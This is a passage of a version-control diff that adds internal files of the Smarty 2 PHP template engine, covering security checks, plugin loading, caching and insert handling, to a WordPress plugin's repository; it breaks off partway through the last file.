+            if (!smarty_core_is_trusted($params, $smarty)) {
+                $smarty->$_error_funcc('(secure mode) ' . $params['resource_type'] . ':' . $params['resource_name'] . ' is not trusted');
+                return false;
+            }
+        }
+    } else {
+        $smarty->$_error_funcc($params['resource_type'] . ':' . $params['resource_name'] . ' is not readable');
+        return false;
+    }
+
+    if ($params['resource_type'] == 'file') {
+        $params['php_resource'] = $params['resource_name'];
+    } else {
+        $params['php_resource'] = $_template_source;
+    }
+    return true;
+}
+
+/* vim: set expandtab: */
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/internals/core.is_secure.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/internals/core.is_secure.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/internals/core.is_secure.php	(revision 44)
@@ -0,0 +1,59 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+/**
+ * determines if a resource is secure or not.
+ *
+ * @param string $resource_type
+ * @param string $resource_name
+ * @return boolean
+ */
+
+//  $resource_type, $resource_name
+
+function smarty_core_is_secure($params, &$smarty)
+{
+    if (!$smarty->security || $smarty->security_settings['INCLUDE_ANY']) {
+        return true;
+    }
+
+    if ($params['resource_type'] == 'file') {
+        $_rp = realpath($params['resource_name']);
+        if (isset($params['resource_base_path'])) {
+            foreach ((array)$params['resource_base_path'] as $curr_dir) {
+                if ( ($_cd = realpath($curr_dir)) !== false &&
+                     strncmp($_rp, $_cd, strlen($_cd)) == 0 &&
+                     substr($_rp, strlen($_cd), 1) == DIRECTORY_SEPARATOR ) {
+                    return true;
+                }
+            }
+        }
+        if (!empty($smarty->secure_dir)) {
+            foreach ((array)$smarty->secure_dir as $curr_dir) {
+                if ( ($_cd = realpath($curr_dir)) !== false) {
+                    if($_cd == $_rp) {
+                        return true;
+                    } elseif (strncmp($_rp, $_cd, strlen($_cd)) == 0 &&
+                        substr($_rp, strlen($_cd), 1) == DIRECTORY_SEPARATOR) {
+                        return true;
+                    }
+                }
+            }
+        }
+    } else {
+        // resource is not on local file system
+        return call_user_func_array(
+            $smarty->_plugins['resource'][$params['resource_type']][0][2],
+            array($params['resource_name'], &$smarty));
+    }
+
+    return false;
+}
+
+/* vim: set expandtab: */
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/internals/core.is_trusted.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/internals/core.is_trusted.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/internals/core.is_trusted.php	(revision 44)
@@ -0,0 +1,47 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+/**
+ * determines if a resource is trusted or not
+ *
+ * @param string $resource_type
+ * @param string $resource_name
+ * @return boolean
+ */
+
+ // $resource_type, $resource_name
+
+function smarty_core_is_trusted($params, &$smarty)
+{
+    $_smarty_trusted = false;
+    if ($params['resource_type'] == 'file') {
+        if (!empty($smarty->trusted_dir)) {
+            $_rp = realpath($params['resource_name']);
+            foreach ((array)$smarty->trusted_dir as $curr_dir) {
+                if (!empty($curr_dir) && is_readable ($curr_dir)) {
+                    $_cd = realpath($curr_dir);
+                    if (strncmp($_rp, $_cd, strlen($_cd)) == 0
+                        && substr($_rp, strlen($_cd), 1) == DIRECTORY_SEPARATOR ) {
+                        $_smarty_trusted = true;
+                        break;
+                    }
+                }
+            }
+        }
+
+    } else {
+        // resource is not on local file system
+        $_smarty_trusted = call_user_func_array($smarty->_plugins['resource'][$params['resource_type']][0][3],
+                                                array($params['resource_name'], $smarty));
+    }
+
+    return $_smarty_trusted;
+}
+
+/* vim: set expandtab: */
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/internals/core.load_plugins.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/internals/core.load_plugins.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/internals/core.load_plugins.php	(revision 44)
@@ -0,0 +1,125 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+/**
+ * Load requested plugins
+ *
+ * @param array $plugins
+ */
+
+// $plugins
+
+function smarty_core_load_plugins($params, &$smarty)
+{
+
+    foreach ($params['plugins'] as $_plugin_info) {
+        list($_type, $_name, $_tpl_file, $_tpl_line, $_delayed_loading) = $_plugin_info;
+        $_plugin = &$smarty->_plugins[$_type][$_name];
+
+        /*
+         * We do not load plugin more than once for each instance of Smarty.
+         * The following code checks for that. The plugin can also be
+         * registered dynamically at runtime, in which case template file
+         * and line number will be unknown, so we fill them in.
+         *
+         * The final element of the info array is a flag that indicates
+         * whether the dynamically registered plugin function has been
+         * checked for existence yet or not.
+         */
+        if (isset($_plugin)) {
+            if (empty($_plugin[3])) {
+                if (!is_callable($_plugin[0])) {
+                    $smarty->_trigger_fatal_error("[plugin] $_type '$_name' is not implemented", $_tpl_file, $_tpl_line, __FILE__, __LINE__);
+                } else {
+                    $_plugin[1] = $_tpl_file;
+                    $_plugin[2] = $_tpl_line;
+                    $_plugin[3] = true;
+                    if (!isset($_plugin[4])) $_plugin[4] = true; /* cacheable */
+                }
+            }
+            continue;
+        } else if ($_type == 'insert') {
+            /*
+             * For backwards compatibility, we check for insert functions in
+             * the symbol table before trying to load them as a plugin.
+             */
+            $_plugin_func = 'insert_' . $_name;
+            if (function_exists($_plugin_func)) {
+                $_plugin = array($_plugin_func, $_tpl_file, $_tpl_line, true, false);
+                continue;
+            }
+        }
+
+        $_plugin_file = $smarty->_get_plugin_filepath($_type, $_name);
+
+        if (! $_found = ($_plugin_file != false)) {
+            $_message = "could not load plugin file '$_type.$_name.php'\n";
+        }
+
+        /*
+         * If plugin file is found, it -must- provide the properly named
+         * plugin function. In case it doesn't, simply output the error and
+         * do not fall back on any other method.
+         */
+        if ($_found) {
+            include_once $_plugin_file;
+
+            $_plugin_func = 'smarty_' . $_type . '_' . $_name;
+            if (!function_exists($_plugin_func)) {
+                $smarty->_trigger_fatal_error("[plugin] function $_plugin_func() not found in $_plugin_file", $_tpl_file, $_tpl_line, __FILE__, __LINE__);
+                continue;
+            }
+        }
+        /*
+         * In case of insert plugins, their code may be loaded later via
+         * 'script' attribute.
+         */
+        else if ($_type == 'insert' && $_delayed_loading) {
+            $_plugin_func = 'smarty_' . $_type . '_' . $_name;
+            $_found = true;
+        }
+
+        /*
+         * Plugin specific processing and error checking.
+         */
+        if (!$_found) {
+            if ($_type == 'modifier') {
+                /*
+                 * In case modifier falls back on using PHP functions
+                 * directly, we only allow those specified in the security
+                 * context.
+                 */
+                if ($smarty->security && !in_array($_name, $smarty->security_settings['MODIFIER_FUNCS'])) {
+                    $_message = "(secure mode) modifier '$_name' is not allowed";
+                } else {
+                    if (!function_exists($_name)) {
+                        $_message = "modifier '$_name' is not implemented";
+                    } else {
+                        $_plugin_func = $_name;
+                        $_found = true;
+                    }
+                }
+            } else if ($_type == 'function') {
+                /*
+                 * This is a catch-all situation.
+                 */
+                $_message = "unknown tag - '$_name'";
+            }
+        }
+
+        if ($_found) {
+            $smarty->_plugins[$_type][$_name] = array($_plugin_func, $_tpl_file, $_tpl_line, true, true);
+        } else {
+            // output error
+            $smarty->_trigger_fatal_error('[plugin] ' . $_message, $_tpl_file, $_tpl_line, __FILE__, __LINE__);
+        }
+    }
+}
+
+/* vim: set expandtab: */
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/internals/core.load_resource_plugin.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/internals/core.load_resource_plugin.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/internals/core.load_resource_plugin.php	(revision 44)
@@ -0,0 +1,74 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+/**
+ * load a resource plugin
+ *
+ * @param string $type
+ */
+
+// $type
+
+function smarty_core_load_resource_plugin($params, &$smarty)
+{
+    /*
+     * Resource plugins are not quite like the other ones, so they are
+     * handled differently. The first element of plugin info is the array of
+     * functions provided by the plugin, the second one indicates whether
+     * all of them exist or not.
+     */
+
+    $_plugin = &$smarty->_plugins['resource'][$params['type']];
+    if (isset($_plugin)) {
+        if (!$_plugin[1] && count($_plugin[0])) {
+            $_plugin[1] = true;
+            foreach ($_plugin[0] as $_plugin_func) {
+                if (!is_callable($_plugin_func)) {
+                    $_plugin[1] = false;
+                    break;
+                }
+            }
+        }
+
+        if (!$_plugin[1]) {
+            $smarty->_trigger_fatal_error("[plugin] resource '" . $params['type'] . "' is not implemented", null, null, __FILE__, __LINE__);
+        }
+
+        return;
+    }
+
+    $_plugin_file = $smarty->_get_plugin_filepath('resource', $params['type']);
+    $_found = ($_plugin_file != false);
+
+    if ($_found) {            /*
+         * If the plugin file is found, it -must- provide the properly named
+         * plugin functions.
+         */
+        include_once($_plugin_file);
+
+        /*
+         * Locate functions that we require the plugin to provide.
+         */
+        $_resource_ops = array('source', 'timestamp', 'secure', 'trusted');
+        $_resource_funcs = array();
+        foreach ($_resource_ops as $_op) {
+            $_plugin_func = 'smarty_resource_' . $params['type'] . '_' . $_op;
+            if (!function_exists($_plugin_func)) {
+                $smarty->_trigger_fatal_error("[plugin] function $_plugin_func() not found in $_plugin_file", null, null, __FILE__, __LINE__);
+                return;
+            } else {
+                $_resource_funcs[] = $_plugin_func;
+            }
+        }
+
+        $smarty->_plugins['resource'][$params['type']] = array($_resource_funcs, true);
+    }
+}
+
+/* vim: set expandtab: */
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/internals/core.process_cached_inserts.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/internals/core.process_cached_inserts.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/internals/core.process_cached_inserts.php	(revision 44)
@@ -0,0 +1,71 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+/**
+ * Replace cached inserts with the actual results
+ *
+ * @param string $results
+ * @return string
+ */
+function smarty_core_process_cached_inserts($params, &$smarty)
+{
+    preg_match_all('!'.$smarty->_smarty_md5.'{insert_cache (.*)}'.$smarty->_smarty_md5.'!Uis',
+                   $params['results'], $match);
+    list($cached_inserts, $insert_args) = $match;
+
+    for ($i = 0, $for_max = count($cached_inserts); $i < $for_max; $i++) {
+        if ($smarty->debugging) {
+            $_params = array();
+            require_once(SMARTY_CORE_DIR . 'core.get_microtime.php');
+            $debug_start_time = smarty_core_get_microtime($_params, $smarty);
+        }
+
+        $args = unserialize($insert_args[$i]);
+        $name = $args['name'];
+
+        if (isset($args['script'])) {
+            $_params = array('resource_name' => $smarty->_dequote($args['script']));
+            require_once(SMARTY_CORE_DIR . 'core.get_php_resource.php');
+            if(!smarty_core_get_php_resource($_params, $smarty)) {
+                return false;
+            }
+            $resource_type = $_params['resource_type'];
+            $php_resource = $_params['php_resource'];
+
+
+            if ($resource_type == 'file') {
+                $smarty->_include($php_resource, true);
+            } else {
+                $smarty->_eval($php_resource);
+            }
+        }
+
+        $function_name = $smarty->_plugins['insert'][$name][0];
+        if (empty($args['assign'])) {
+            $replace = $function_name($args, $smarty);
+        } else {
+            $smarty->assign($args['assign'], $function_name($args, $smarty));
+            $replace = '';
+        }
+
+        $params['results'] = substr_replace($params['results'], $replace, strpos($params['results'], $cached_inserts[$i]), strlen($cached_inserts[$i]));
+        if ($smarty->debugging) {
+            $_params = array();
+            require_once(SMARTY_CORE_DIR . 'core.get_microtime.php');
+            $smarty->_smarty_debug_info[] = array('type'      => 'insert',
+                                                'filename'  => 'insert_'.$name,
+                                                'depth'     => $smarty->_inclusion_depth,
+                                                'exec_time' => smarty_core_get_microtime($_params, $smarty) - $debug_start_time);
+        }
+    }
+
+    return $params['results'];
+}
+
+/* vim: set expandtab: */
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/internals/core.process_compiled_include.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/internals/core.process_compiled_include.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/internals/core.process_compiled_include.php	(revision 44)
@@ -0,0 +1,37 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+/**
+ * Replace nocache-tags by results of the corresponding non-cacheable
+ * functions and return it
+ *
+ * @param string $compiled_tpl
+ * @param string $cached_source
+ * @return string
+ */
+
+function smarty_core_process_compiled_include($params, &$smarty)
+{
+    $_cache_including = $smarty->_cache_including;
+    $smarty->_cache_including = true;
+
+    $_return = $params['results'];
+
+    foreach ($smarty->_cache_info['cache_serials'] as $_include_file_path=>$_cache_serial) {
+        $smarty->_include($_include_file_path, true);
+    }
+
+    foreach ($smarty->_cache_serials as $_include_file_path=>$_cache_serial) {
+        $_return = preg_replace_callback('!(\{nocache\:('.$_cache_serial.')#(\d+)\})!s',
+                                         array(&$smarty, '_process_compiled_include_callback'),
+                                         $_return);
+    }
+    $smarty->_cache_including = $_cache_including;
+    return $_return;
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/internals/core.read_cache_file.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/internals/core.read_cache_file.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/internals/core.read_cache_file.php	(revision 44)
@@ -0,0 +1,101 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+/**
+ * read a cache file, determine if it needs to be
+ * regenerated or not
+ *
+ * @param string $tpl_file
+ * @param string $cache_id
+ * @param string $compile_id
+ * @param string $results
+ * @return boolean
+ */
+
+//  $tpl_file, $cache_id, $compile_id, &$results
+
+function smarty_core_read_cache_file(&$params, &$smarty)
+{
+    static  $content_cache = array();
+
+    if ($smarty->force_compile) {
+        // force compile enabled, always regenerate
+        return false;
+    }
+
+    if (isset($content_cache[$params['tpl_file'].','.$params['cache_id'].','.$params['compile_id']])) {
+        list($params['results'], $smarty->_cache_info) = $content_cache[$params['tpl_file'].','.$params['cache_id'].','.$params['compile_id']];
+        return true;
+    }
+
+    if (!empty($smarty->cache_handler_func)) {
+        // use cache_handler function
+        call_user_func_array($smarty->cache_handler_func,
+                             array('read', &$smarty, &$params['results'], $params['tpl_file'], $params['cache_id'], $params['compile_id'], null));
+    } else {
+        // use local cache file
+        $_auto_id = $smarty->_get_auto_id($params['cache_id'], $params['compile_id']);
+        $_cache_file = $smarty->_get_auto_filename($smarty->cache_dir, $params['tpl_file'], $_auto_id);
+        $params['results'] = $smarty->_read_file($_cache_file);
+    }
+
+    if (empty($params['results'])) {
+        // nothing to parse (error?), regenerate cache
+        return false;
+    }
+
+    $_contents = $params['results'];
+    $_info_start = strpos($_contents, "\n") + 1;
+    $_info_len = (int)substr($_contents, 0, $_info_start - 1);
+    $_cache_info = unserialize(substr($_contents, $_info_start, $_info_len));
+    $params['results'] = substr($_contents, $_info_start + $_info_len);
+
+    if ($smarty->caching == 2 && isset ($_cache_info['expires'])){
+        // caching by expiration time
+        if ($_cache_info['expires'] > -1 && (time() > $_cache_info['expires'])) {
+            // cache expired, regenerate
+            return false;
+        }
+    } else {
+        // caching by lifetime
+        if ($smarty->cache_lifetime > -1 && (time() - $_cache_info['timestamp'] > $smarty->cache_lifetime)) {
+            // cache expired, regenerate
+            return false;
+        }
+    }
+
+    if ($smarty->compile_check) {
+        $_params = array('get_source' => false, 'quiet'=>true);
+        foreach (array_keys($_cache_info['template']) as $_template_dep) {
+            $_params['resource_name'] = $_template_dep;
+            if (!$smarty->_fetch_resource_info($_params) || $_cache_info['timestamp'] < $_params['resource_timestamp']) {
+                // template file has changed, regenerate cache
+                return false;
+            }
+        }
+
+        if (isset($_cache_info['config'])) {
+            $_params = array('resource_base_path' => $smarty->config_dir, 'get_source' => false, 'quiet'=>true);
+            foreach (array_keys($_cache_info['config']) as $_config_dep) {
+                $_params['resource_name'] = $_config_dep;
+                if (!$smarty->_fetch_resource_info($_params) || $_cache_info['timestamp'] < $_params['resource_timestamp']) {
+                    // config file has changed, regenerate cache
+                    return false;
+                }
+            }
+        }
+    }
+
+    $content_cache[$params['tpl_file'].','.$params['cache_id'].','.$params['compile_id']] = array($params['results'], $_cache_info);
+
+    $smarty->_cache_info = $_cache_info;
+    return true;
+}
+
+/* vim: set expandtab: */
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/internals/core.rm_auto.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/internals/core.rm_auto.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/internals/core.rm_auto.php	(revision 44)
@@ -0,0 +1,71 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+/**
+ * delete an automagically created file by name and id
+ *
+ * @param string $auto_base
+ * @param string $auto_source
+ * @param string $auto_id
+ * @param integer $exp_time
+ * @return boolean
+ */
+
+// $auto_base, $auto_source = null, $auto_id = null, $exp_time = null
+
+function smarty_core_rm_auto($params, &$smarty)
+{
+    if (!@is_dir($params['auto_base']))
+      return false;
+
+    if(!isset($params['auto_id']) && !isset($params['auto_source'])) {
+        $_params = array(
+            'dirname' => $params['auto_base'],
+            'level' => 0,
+            'exp_time' => $params['exp_time']
+        );
+        require_once(SMARTY_CORE_DIR . 'core.rmdir.php');
+        $_res = smarty_core_rmdir($_params, $smarty);
+    } else {
+        $_tname = $smarty->_get_auto_filename($params['auto_base'], $params['auto_source'], $params['auto_id']);
+
+        if(isset($params['auto_source'])) {
+            if (isset($params['extensions'])) {
+                $_res = false;
+                foreach ((array)$params['extensions'] as $_extension)
+                    $_res |= $smarty->_unlink($_tname.$_extension, $params['exp_time']);
+            } else {
+                $_res = $smarty->_unlink($_tname, $params['exp_time']);
+            }
+        } elseif ($smarty->use_sub_dirs) {
+            $_params = array(
+                'dirname' => $_tname,
+                'level' => 1,
+                'exp_time' => $params['exp_time']
+            );
+            require_once(SMARTY_CORE_DIR . 'core.rmdir.php');
+            $_res = smarty_core_rmdir($_params, $smarty);
+        } else {
+            // remove matching file names
+            $_handle = opendir($params['auto_base']);
+            $_res = true;
+            while (false !== ($_filename = readdir($_handle))) {
+                if($_filename == '.' || $_filename == '..') {
+                    continue;
+                } elseif (substr($params['auto_base'] . DIRECTORY_SEPARATOR . $_filename, 0, strlen($_tname)) == $_tname) {
+                    $_res &= (bool)$smarty->_unlink($params['auto_base'] . DIRECTORY_SEPARATOR . $_filename, $params['exp_time']);
+                }
+            }
+        }
+    }
+
+    return $_res;
+}
+
+/* vim: set expandtab: */
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/internals/core.rmdir.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/internals/core.rmdir.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/internals/core.rmdir.php	(revision 44)
@@ -0,0 +1,54 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+/**
+ * delete a dir recursively (level=0 -> keep root)
+ * WARNING: no tests, it will try to remove what you tell it!
+ *
+ * @param string $dirname
+ * @param integer $level
+ * @param integer $exp_time
+ * @return boolean
+ */
+
+//  $dirname, $level = 1, $exp_time = null
+
+function smarty_core_rmdir($params, &$smarty)
+{
+   if(!isset($params['level'])) { $params['level'] = 1; }
+   if(!isset($params['exp_time'])) { $params['exp_time'] = null; }
+
+   if($_handle = @opendir($params['dirname'])) {
+
+        while (false !== ($_entry = readdir($_handle))) {
+            if ($_entry != '.' && $_entry != '..') {
+                if (@is_dir($params['dirname'] . DIRECTORY_SEPARATOR . $_entry)) {
+                    $_params = array(
+                        'dirname' => $params['dirname'] . DIRECTORY_SEPARATOR . $_entry,
+                        'level' => $params['level'] + 1,
+                        'exp_time' => $params['exp_time']
+                    );
+                    smarty_core_rmdir($_params, $smarty);
+                }
+                else {
+                    $smarty->_unlink($params['dirname'] . DIRECTORY_SEPARATOR . $_entry, $params['exp_time']);
+                }
+            }
+        }
+        closedir($_handle);
+   }
+
+   if ($params['level']) {
+       return @rmdir($params['dirname']);
+   }
+   return (bool)$_handle;
+
+}
+
+/* vim: set expandtab: */
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/internals/core.run_insert_handler.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/internals/core.run_insert_handler.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/internals/core.run_insert_handler.php	(revision 44)
@@ -0,0 +1,71 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+/**
+ * Handle insert tags
+ *
+ * @param array $args
+ * @return string
+ */
+function smarty_core_run_insert_handler($params, &$smarty)
+{
+
+    require_once(SMARTY_CORE_DIR . 'core.get_microtime.php');
+    if ($smarty->debugging) {
+        $_params = array();
+        $_debug_start_time = smarty_core_get_microtime($_params, $smarty);
+    }
+
+    if ($smarty->caching) {
+        $_arg_string = serialize($params['args']);
+        $_name = $params['args']['name'];
+        if (!isset($smarty->_cache_info['insert_tags'][$_name])) {
+            $smarty->_cache_info['insert_tags'][$_name] = array('insert',
+                                                             $_name,
+                                                             $smarty->_plugins['insert'][$_name][1],
+                                                             $smarty->_plugins['insert'][$_name][2],
+                                                             !empty($params['args']['script']) ? true : false);
+        }
+        return $smarty->_smarty_md5."{insert_cache $_arg_string}".$smarty->_smarty_md5;
+    } else {
+        if (isset($params['args']['script'])) {
+            $_params = array('resource_name' => $smarty->_dequote($params['args']['script']));
+            require_once(SMARTY_CORE_DIR . 'core.get_php_resource.php');
+            if(!smarty_core_get_php_resource($_params, $smarty)) {
+                return false;
+            }
+
+            if ($_params['resource_type'] == 'file') {
+                $smarty->_include($_params['php_resource'], true);
+            } else {
+                $smarty->_eval($_params['php_resource']);
+            }
+            unset($params['args']['script']);
+        }
+
+        $_funcname = $smarty->_plugins['insert'][$params['args']['name']][0];
+        $_content = $_funcname($params['args'], $smarty);
+        if ($smarty->debugging) {
+            $_params = array();
+            require_once(SMARTY_CORE_DIR . 'core.get_microtime.php');
+            $smarty->_smarty_debug_info[] = array('type'      => 'insert',
+                                                'filename'  => 'insert_'.$params['args']['name'],
+                                                'depth'     => $smarty->_inclusion_depth,
+                                                'exec_time' => smarty_core_get_microtime($_params, $smarty) - $_debug_start_time);
+        }
+
+        if (!empty($params['args']["assign"])) {
+            $smarty->assign($params['args']["assign"], $_content);
+        } else {
+            return $_content;
+        }
+    }
+}
+
+/* vim: set expandtab: */
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/internals/core.smarty_include_php.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/internals/core.smarty_include_php.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/internals/core.smarty_include_php.php	(revision 44)
@@ -0,0 +1,50 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+/**
+ * called for included php files within templates
+ *
+ * @param string $smarty_file
+ * @param string $smarty_assign variable to assign the included template's
+ *               output into
+ * @param boolean $smarty_once uses include_once if this is true
+ * @param array $smarty_include_vars associative array of vars from
+ *              {include file="blah" var=$var}
+ */
+
+//  $file, $assign, $once, $_smarty_include_vars
+
+function smarty_core_smarty_include_php($params, &$smarty)
+{
+    $_params = array('resource_name' => $params['smarty_file']);
+    require_once(SMARTY_CORE_DIR . 'core.get_php_resource.php');
+    smarty_core_get_php_resource($_params, $smarty);
+    $_smarty_resource_type = $_params['resource_type'];
+    $_smarty_php_resource = $_params['php_resource'];
+
+    if (!empty($params['smarty_assign'])) {
+        ob_start();
+        if ($_smarty_resource_type == 'file') {
+            $smarty->_include($_smarty_php_resource, $params['smarty_once'], $params['smarty_include_vars']);
+        } else {
+            $smarty->_eval($_smarty_php_resource, $params['smarty_include_vars']);
+        }
+        $smarty->assign($params['smarty_assign'], ob_get_contents());
+        ob_end_clean();
+    } else {
+        if ($_smarty_resource_type == 'file') {
+            $smarty->_include($_smarty_php_resource, $params['smarty_once'], $params['smarty_include_vars']);
+        } else {
+            $smarty->_eval($_smarty_php_resource, $params['smarty_include_vars']);
+        }
+    }
+}
+
+
+/* vim: set expandtab: */
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/internals/core.write_cache_file.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/internals/core.write_cache_file.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/internals/core.write_cache_file.php	(revision 44)
@@ -0,0 +1,96 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+/**
+ * Prepend the cache information to the cache file
+ * and write it
+ *
+ * @param string $tpl_file
+ * @param string $cache_id
+ * @param string $compile_id
+ * @param string $results
+ * @return true|null
+ */
+
+ // $tpl_file, $cache_id, $compile_id, $results
+
+function smarty_core_write_cache_file($params, &$smarty)
+{
+
+    // put timestamp in cache header
+    $smarty->_cache_info['timestamp'] = time();
+    if ($smarty->cache_lifetime > -1){
+        // expiration set
+        $smarty->_cache_info['expires'] = $smarty->_cache_info['timestamp'] + $smarty->cache_lifetime;
+    } else {
+        // cache will never expire
+        $smarty->_cache_info['expires'] = -1;
+    }
+
+    // collapse nocache.../nocache-tags
+    if (preg_match_all('!\{(/?)nocache\:[0-9a-f]{32}#\d+\}!', $params['results'], $match, PREG_PATTERN_ORDER)) {
+        // remove everything between every pair of outermost noache.../nocache-tags
+        // and replace it by a single nocache-tag
+        // this new nocache-tag will be replaced by dynamic contents in
+        // smarty_core_process_compiled_includes() on a cache-read
+        
+        $match_count = count($match[0]);
+        $results = preg_split('!(\{/?nocache\:[0-9a-f]{32}#\d+\})!', $params['results'], -1, PREG_SPLIT_DELIM_CAPTURE);
+        
+        $level = 0;
+        $j = 0;
+        for ($i=0, $results_count = count($results); $i < $results_count && $j < $match_count; $i++) {
+            if ($results[$i] == $match[0][$j]) {
+                // nocache tag
+                if ($match[1][$j]) { // closing tag
+                    $level--;
+                    unset($results[$i]);
+                } else { // opening tag
+                    if ($level++ > 0) unset($results[$i]);
+                }
+                $j++;
+            } elseif ($level > 0) {
+                unset($results[$i]);
+            }
+        }
+        $params['results'] = implode('', $results);
+    }
+    $smarty->_cache_info['cache_serials'] = $smarty->_cache_serials;
+
+    // prepend the cache header info into cache file
+    $_cache_info = serialize($smarty->_cache_info);
+    $params['results'] = strlen($_cache_info) . "\n" . $_cache_info . $params['results'];
+
+    if (!empty($smarty->cache_handler_func)) {
+        // use cache_handler function
+        call_user_func_array($smarty->cache_handler_func,
+                             array('write', &$smarty, &$params['results'], $params['tpl_file'], $params['cache_id'], $params['compile_id'], null));
+    } else {
+        // use local cache file
+
+        if(!@is_writable($smarty->cache_dir)) {
+            // cache_dir not writable, see if it exists
+            if(!@is_dir($smarty->cache_dir)) {
+                $smarty->trigger_error('the $cache_dir \'' . $smarty->cache_dir . '\' does not exist, or is not a directory.', E_USER_ERROR);
+                return false;
+            }
+            $smarty->trigger_error('unable to write to $cache_dir \'' . realpath($smarty->cache_dir) . '\'. Be sure $cache_dir is writable by the web server user.', E_USER_ERROR);
+            return false;
+        }
+
+        $_auto_id = $smarty->_get_auto_id($params['cache_id'], $params['compile_id']);
+        $_cache_file = $smarty->_get_auto_filename($smarty->cache_dir, $params['tpl_file'], $_auto_id);
+        $_params = array('filename' => $_cache_file, 'contents' => $params['results'], 'create_dirs' => true);
+        require_once(SMARTY_CORE_DIR . 'core.write_file.php');
+        smarty_core_write_file($_params, $smarty);
+        return true;
+    }
+}
+
+/* vim: set expandtab: */
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/internals/core.write_compiled_include.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/internals/core.write_compiled_include.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/internals/core.write_compiled_include.php	(revision 44)
@@ -0,0 +1,91 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+/**
+ * Extract non-cacheable parts out of compiled template and write it
+ *
+ * @param string $compile_path
+ * @param string $template_compiled
+ * @return boolean
+ */
+
+function smarty_core_write_compiled_include($params, &$smarty)
+{
+    $_tag_start = 'if \(\$this->caching && \!\$this->_cache_including\) \{ echo \'\{nocache\:('.$params['cache_serial'].')#(\d+)\}\'; \};';
+    $_tag_end   = 'if \(\$this->caching && \!\$this->_cache_including\) \{ echo \'\{/nocache\:(\\2)#(\\3)\}\'; \};';
+
